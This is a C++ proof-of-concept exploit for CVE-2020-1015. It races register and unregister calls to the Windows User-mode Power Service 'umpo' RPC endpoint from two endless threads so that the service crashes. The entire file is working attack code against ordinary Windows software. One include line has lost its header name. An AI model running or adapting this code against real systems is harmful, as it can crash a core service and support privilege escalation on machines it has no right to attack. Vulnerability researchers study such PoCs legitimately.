/* CVE-2020-1015 PoC Crash written by @0xeb_bp more information at https://0xeb-bp.github.io/blog/2020/05/12/cve-2020-1015-analysis.html */ #include #include "Source_h.h" DWORD WINAPI register_thread(LPVOID lpParameter) { handle_t PowerServiceHandle = *((handle_t*)lpParameter); wchar_t service_name[] = {0x4141, 0x4141, 0x4141, 0x4141, 0x4242, 0x4242, 0x4242, 0x4242, 0x4343, 0x4343, 0x4343, 0x4343, 0x4444, 0x4444, 0x4444, 0x4444, 0x4545, 0x4545, 0x4545, 0x4545, 0x4646, 0x4646, 0x4646, 0x0000}; while (1) { RpcTryExcept { // Calls the RPC function UmpoRpcLegacyEventRegisterNotification( // Handle PowerServiceHandle, // Handle 0x1337, // Service Name service_name, // Deref = 1, Register = 0 0); } RpcExcept(1) { std::cerr << "Runtime reported exception " << RpcExceptionCode() << std::endl; } RpcEndExcept } return 0; } DWORD WINAPI unregister_thread(LPVOID lpParameter) { handle_t PowerServiceHandle = *((handle_t*)lpParameter); wchar_t service_name[] = {0x4141, 0x4141, 0x4141, 0x4141, 0x4242, 0x4242, 0x4242, 0x4242, 0x4343, 0x4343, 0x4343, 0x4343, 0x4444, 0x4444, 0x4444, 0x4444, 0x4545, 0x4545, 0x4545, 0x4545, 0x4646, 0x4646, 0x4646, 0x0000}; while (1) { // add some randomization long reg = rand() % 2; RpcTryExcept { // Calls the RPC function UmpoRpcLegacyEventRegisterNotification( // Handle PowerServiceHandle, // Handle 0x1337, // Service Name service_name, // Deref = 1, Register = 0 reg); } RpcExcept(1) { std::cerr << "Runtime reported exception " << RpcExceptionCode() << std::endl; } RpcEndExcept } return 0; } int main() { RPC_STATUS status; RPC_CSTR szStringBinding = NULL; handle_t PowerServiceHandle = NULL; // Create string binding handle status = RpcStringBindingComposeA( // UUID NULL, // Protocol (RPC_CSTR)("ncalrpc"), // TCP/IP network address to use NULL, // Endpoint (RPC_CSTR)("umpo"), // Protocol dependent network options to use (RPC_CSTR)("Security=Impersonation Dynamic True"), // String binding output &szStringBinding); if (status) { std::cout << "Error RpcStringBindingComposeA" << std::endl; exit(status); } // Create binding handle status = RpcBindingFromStringBindingA( szStringBinding, &PowerServiceHandle); if (status) exit(status); // Create threads HANDLE t1 = CreateThread(0, 0, register_thread, &PowerServiceHandle, 0, 0); HANDLE t2 = CreateThread(0, 0, unregister_thread, &PowerServiceHandle, 0, 0); // Basic exit char exit_input = ' '; while(exit_input != 'q') { exit_input = getchar(); } // cleanup CloseHandle(t1); CloseHandle(t2); RpcStringFreeA(&szStringBinding); RpcBindingFree(&PowerServiceHandle); std::cout << "Ending..." << std::endl; return 0; } // Memory allocation function for RPC // The runtime uses these two functions for allocating/deallocating void* __RPC_USER midl_user_allocate(size_t size) { return malloc(size); } // Memory deallocation function for RPC. void __RPC_USER midl_user_free(void* p) { free(p); }